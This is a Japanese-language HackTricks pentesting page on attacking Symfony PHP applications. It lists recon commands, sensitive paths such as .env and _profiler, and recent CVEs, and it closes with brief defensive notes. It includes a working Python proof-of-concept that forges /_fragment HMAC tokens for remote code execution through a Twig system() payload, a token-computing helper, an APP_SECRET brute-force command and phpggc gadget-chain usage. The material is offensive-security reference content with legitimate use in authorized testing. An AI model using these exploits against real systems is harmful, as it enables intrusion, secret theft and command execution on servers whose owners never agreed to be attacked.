Symfony
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Symfonyは最も広く使用されているPHPフレームワークの1つで、企業、eコマース、CMSターゲット(Drupal、Shopware、Ibexa、OroCRM … すべてSymfonyコンポーネントを埋め込んでいます)の評価に定期的に登場します。このページでは、Symfonyアプリケーションを発見した際にチェックリストに加えるべき攻撃的なヒント、一般的な誤設定、最近の脆弱性をまとめています。
歴史的な注記:エコシステムの大部分は依然として5.4 LTSブランチ(EOL 2025年11月)を実行しています。多くの2023-2025年のセキュリティアドバイザリーはパッチリリースでのみ修正されるため、正確なマイナーバージョンを常に確認してください(例:5.4.46 → 5.4.50)。
Recon & Enumeration
Finger-printing
- HTTPレスポンスヘッダー:
X-Powered-By: Symfony
、X-Debug-Token
、X-Debug-Token-Link
またはsf_redirect
、sf_session
、MOCKSESSID
で始まるクッキー。 - ソースコードの漏洩(
composer.json
、composer.lock
、/vendor/…
)は、しばしば正確なバージョンを明らかにします:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Symfonyにのみ存在する公開ルート:
/_profiler
(Symfony Profiler & デバッグツールバー)/_wdt/<token>
(“Web Debug Toolbar”)/_error/{code}.{_format}
(美しいエラーページ)/app_dev.php
、/config.php
、/config_dev.php
(4.0以前の開発フロントコントローラー)- Wappalyzer、BuiltWithまたはffuf/feroxbusterのワードリスト:
symfony.txt
→/_fragment
、/_profiler
、.env
、.htaccess
を探します。
興味深いファイルとエンドポイント
パス | 重要性 |
---|---|
/.env 、/.env.local 、/.env.prod | 頻繁に誤ってデプロイされる → APP_SECRET 、DBクレデンシャル、SMTP、AWSキーが漏洩 |
/.git 、.svn 、.hg | ソース開示 → 認証情報 + ビジネスロジック |
/var/log/*.log 、/log/dev.log | Webルートの誤設定がスタックトレースを露出 |
/_profiler | 完全なリクエスト履歴、設定、サービスコンテナ、APP_SECRET(≤ 3.4) |
/_fragment | ESI/HIncludeによって使用されるエントリポイント。APP_SECRET を知っていると悪用可能 |
/vendor/phpunit/phpunit/phpunit | アクセス可能な場合、PHPUnit RCE(CVE-2017-9841) |
/index.php/_error/{code} | フィンガープリンティング & 時々例外トレースを漏洩 |
高影響脆弱性 (2023-2025)
1. APP_SECRET漏洩 ➜ /_fragment
経由のRCE(別名“secret-fragment”)
- CVE-2019-18889が元々ですが、デバッグが有効のままにされているか、
.env
が露出している場合、現代のターゲットでもまだ見られます。 - 32文字の
APP_SECRET
を知ると、HMACトークンを作成し、内部のrender()
コントローラーを悪用して任意のTwigを実行します:
# PoC – シークレットが必要
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # TwigでのRCE
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- 優れた解説と悪用スクリプト:Ambionicsブログ(参考文献にリンク)。
2. Windowsプロセスハイジャック – CVE-2024-51736
Process
コンポーネントは、WindowsでPATH
の前に現在の作業ディレクトリを検索しました。攻撃者が書き込み可能なWebルートにtar.exe
、cmd.exe
などをアップロードし、Process
をトリガーできると(例:ファイル抽出、PDF生成)、コマンド実行が可能になります。- 5.4.50、6.4.14、7.1.7でパッチ適用済み。
3. セッション固定 – CVE-2023-46733
- 認証ガードがログイン後に既存のセッションIDを再利用しました。攻撃者が被害者が認証する前にクッキーを設定すると、ログイン後にアカウントをハイジャックします。
4. TwigサンドボックスXSS – CVE-2023-46734
- ユーザー制御のテンプレート(管理CMS、メールビルダー)を公開するアプリケーションでは、
nl2br
フィルターがサンドボックスをバイパスし、JSを注入するために悪用される可能性があります。
5. Symfony 1ガジェットチェーン(レガシーアプリでまだ見つかる)
phpggc symfony/1 system id
は、sfNamespacedParameterHolder
などのクラスでunserialize()が発生したときにRCEを引き起こすPharペイロードを生成します。ファイルアップロードエンドポイントとphar://
ラッパーを確認してください。
PHP - Deserialization + Autoload Classes
悪用チートシート
/_fragment
のHMACトークンを計算する
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
弱い APP_SECRET
のブルートフォース
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via exposed Symfony Console
もし bin/console
が php-fpm
または直接CLIアップロードを通じてアクセス可能であれば:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
使用デシリアライズガジェットをキャッシュディレクトリ内で使用するか、次のリクエストで実行される悪意のあるTwigテンプレートを書きます。
防御的ノート
- デバッグを決してデプロイしない (
APP_ENV=dev
,APP_DEBUG=1
); ウェブサーバーの設定で/app_dev.php
、/_profiler
、/_wdt
をブロックします。 - 秘密情報はenv変数または
vault/secrets.local.php
に保存し、決してドキュメントルートを通じてアクセス可能なファイルには保存しないでください。 - パッチ管理を強制する – Symfonyのセキュリティアドバイザリーに登録し、少なくともLTSパッチレベルを維持します。
- Windowsで実行している場合は、CVE-2024-51736を軽減するために直ちにアップグレードするか、
open_basedir
/disable_functions
の防御層を追加します。
有用な攻撃ツール
- ambionics/symfony-exploits – secret-fragment RCE、デバッガールートの発見。
- phpggc – Symfony 1 & 2用の既製のガジェットチェーン。
- sf-encoder –
_fragment
HMACを計算するための小さなヘルパー(Go実装)。
参考文献
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。